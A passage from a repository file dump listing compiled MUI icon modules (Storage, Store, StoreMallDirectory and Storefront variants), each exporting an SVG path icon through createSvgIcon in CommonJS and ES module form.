    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'Storage');"
  },
  {
    "path": "packages/mui-icons-material/lib/Storage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'Storage');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'StorageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'StorageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2s-.9-2-2-2H4c-1.1 0-2 .9-2 2s.9 2 2 2m0-3h2v2H4zM2 6c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2s-.9-2-2-2H4c-1.1 0-2 .9-2 2m4 1H4V5h2zm-2 7h16c1.1 0 2-.9 2-2s-.9-2-2-2H4c-1.1 0-2 .9-2 2s.9 2 2 2m0-3h2v2H4z\"\n}), 'StorageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2s-.9-2-2-2H4c-1.1 0-2 .9-2 2s.9 2 2 2m0-3h2v2H4zM2 6c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2s-.9-2-2-2H4c-1.1 0-2 .9-2 2m4 1H4V5h2zm-2 7h16c1.1 0 2-.9 2-2s-.9-2-2-2H4c-1.1 0-2 .9-2 2s.9 2 2 2m0-3h2v2H4z\"\n}), 'StorageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'StorageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'StorageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'StorageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h20v-4H2zm2-3h2v2H4zM2 4v4h20V4zm4 3H4V5h2zm-4 7h20v-4H2zm2-3h2v2H4z\"\n}), 'StorageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Store.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'Store');"
  },
  {
    "path": "packages/mui-icons-material/lib/Store.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'Store');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectory.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'StoreMallDirectory');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectory.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'StoreMallDirectory');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.36 9 .6 3H5.04l.6-3zM20 4H4v2h16zm0 3H4l-1 5v2h1v6h10v-6h4v6h2v-6h1v-2zM6 18v-4h6v4z\"\n}), 'StoreMallDirectoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.36 9 .6 3H5.04l.6-3zM20 4H4v2h16zm0 3H4l-1 5v2h1v6h10v-6h4v6h2v-6h1v-2zM6 18v-4h6v4z\"\n}), 'StoreMallDirectoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.16 7.8c-.09-.46-.5-.8-.98-.8H4.82c-.48 0-.89.34-.98.8L3 12v1c0 .55.45 1 1 1v5c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-5h4v5c0 .55.45 1 1 1s1-.45 1-1v-5c.55 0 1-.45 1-1v-1zM12 18H6v-4h6zM5 6h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'StoreMallDirectoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.16 7.8c-.09-.46-.5-.8-.98-.8H4.82c-.48 0-.89.34-.98.8L3 12v1c0 .55.45 1 1 1v5c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-5h4v5c0 .55.45 1 1 1s1-.45 1-1v-5c.55 0 1-.45 1-1v-1zM12 18H6v-4h6zM5 6h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'StoreMallDirectoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'StoreMallDirectorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'StoreMallDirectorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.64 9-.6 3h13.92l-.6-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 7-1 5v2h1v6h10v-6h4v6h2v-6h1v-2l-1-5zm8 11H6v-4h6zm-6.96-6 .6-3h12.72l.6 3zM4 4h16v2H4z\"\n}, \"1\")], 'StoreMallDirectoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreMallDirectoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.64 9-.6 3h13.92l-.6-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 7-1 5v2h1v6h10v-6h4v6h2v-6h1v-2l-1-5zm8 11H6v-4h6zm-6.96-6 .6-3h12.72l.6 3zM4 4h16v2H4z\"\n}, \"1\")], 'StoreMallDirectoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.36 9 .6 3H5.04l.6-3zM20 4H4v2h16zm0 3H4l-1 5v2h1v6h10v-6h4v6h2v-6h1v-2zM6 18v-4h6v4z\"\n}), 'StoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.36 9 .6 3H5.04l.6-3zM20 4H4v2h16zm0 3H4l-1 5v2h1v6h10v-6h4v6h2v-6h1v-2zM6 18v-4h6v4z\"\n}), 'StoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m15.16 1.8c-.09-.46-.5-.8-.98-.8H4.82c-.48 0-.89.34-.98.8l-1 5c-.12.62.35 1.2.98 1.2H4v5c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-5h4v5c0 .55.45 1 1 1s1-.45 1-1v-5h.18c.63 0 1.1-.58.98-1.2zM12 18H6v-4h6z\"\n}), 'StoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m15.16 1.8c-.09-.46-.5-.8-.98-.8H4.82c-.48 0-.89.34-.98.8l-1 5c-.12.62.35 1.2.98 1.2H4v5c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-5h4v5c0 .55.45 1 1 1s1-.45 1-1v-5h.18c.63 0 1.1-.58.98-1.2zM12 18H6v-4h6z\"\n}), 'StoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'StoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4v2h16zm1 10v-2l-1-5H4l-1 5v2h1v6h10v-6h4v6h2v-6zm-9 4H6v-4h6z\"\n}), 'StoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.64 9-.6 3h13.92l-.6-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h16v2H4zm16 3H4l-1 5v2h1v6h10v-6h4v6h2v-6h1v-2zm-8 11H6v-4h6zm-6.96-6 .6-3h12.72l.6 3z\"\n}, \"1\")], 'StoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.64 9-.6 3h13.92l-.6-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h16v2H4zm16 3H4l-1 5v2h1v6h10v-6h4v6h2v-6h1v-2zm-8 11H6v-4h6zm-6.96-6 .6-3h12.72l.6 3z\"\n}, \"1\")], 'StoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Storefront.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 8.89-1.05-4.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89m-2.99-3.9 1.05 4.37c.1.42.01.84-.25 1.17-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5zM13 5h1.96l.54 4.52c.05.39-.07.78-.33 1.07-.22.26-.54.41-.95.41-.67 0-1.22-.59-1.22-1.31zM8.49 9.52 9.04 5H11v4.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07m-4.45-.16L5.05 5h1.97l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.49 0-.8-.29-.93-.47-.27-.32-.36-.75-.26-1.17M5 19v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19z\"\n}), 'Storefront');"
  },
  {
    "path": "packages/mui-icons-material/lib/Storefront.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 8.89-1.05-4.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89m-2.99-3.9 1.05 4.37c.1.42.01.84-.25 1.17-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5zM13 5h1.96l.54 4.52c.05.39-.07.78-.33 1.07-.22.26-.54.41-.95.41-.67 0-1.22-.59-1.22-1.31zM8.49 9.52 9.04 5H11v4.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07m-4.45-.16L5.05 5h1.97l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.49 0-.8-.29-.93-.47-.27-.32-.36-.75-.26-1.17M5 19v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19z\"\n}), 'Storefront');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 8.89-1.05-4.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89m-2.99-3.9 1.05 4.37c.1.42.01.84-.25 1.17-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5zM13 5h1.96l.54 4.52c.05.39-.07.78-.33 1.07-.22.26-.54.41-.95.41-.67 0-1.22-.59-1.22-1.31zM8.49 9.52 9.04 5H11v4.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07m-4.45-.16L5.05 5h1.97l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.49 0-.8-.29-.93-.47-.27-.32-.36-.75-.26-1.17M5 19v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19z\"\n}), 'StorefrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 8.89-1.05-4.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 8.89c-.24 1.02-.02 2.06.62 2.88.08.11.19.19.28.29V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.94c.09-.09.2-.18.28-.28.64-.82.87-1.87.62-2.89m-2.99-3.9 1.05 4.37c.1.42.01.84-.25 1.17-.14.18-.44.47-.94.47-.61 0-1.14-.49-1.21-1.14L16.98 5zM13 5h1.96l.54 4.52c.05.39-.07.78-.33 1.07-.22.26-.54.41-.95.41-.67 0-1.22-.59-1.22-1.31zM8.49 9.52 9.04 5H11v4.69c0 .72-.55 1.31-1.29 1.31-.34 0-.65-.15-.89-.41-.25-.29-.37-.68-.33-1.07m-4.45-.16L5.05 5h1.97l-.58 4.86c-.08.65-.6 1.14-1.21 1.14-.49 0-.8-.29-.93-.47-.27-.32-.36-.75-.26-1.17M5 19v-6.03c.08.01.15.03.23.03.87 0 1.66-.36 2.24-.95.6.6 1.4.95 2.31.95.87 0 1.65-.36 2.23-.93.59.57 1.39.93 2.29.93.84 0 1.64-.35 2.24-.95.58.59 1.37.95 2.24.95.08 0 .15-.02.23-.03V19z\"\n}), 'StorefrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 7.89-1.05-3.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 7.89c-.46 1.97.85 3.11.9 3.17V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7.94c1.12-1.12 1.09-2.41.9-3.17M13 5h1.96l.54 3.52c.09.71-.39 1.48-1.28 1.48-.67 0-1.22-.59-1.22-1.31zM6.44 8.86c-.08.65-.6 1.14-1.21 1.14-.93 0-1.35-.97-1.19-1.64L5.05 5h1.97zM11 8.69c0 .72-.55 1.31-1.29 1.31-.75 0-1.3-.7-1.22-1.48L9.04 5H11zM18.77 10c-.61 0-1.14-.49-1.21-1.14L16.98 5l1.93-.01 1.05 3.37c.16.67-.25 1.64-1.19 1.64\"\n}), 'StorefrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StorefrontRounded.mjs",
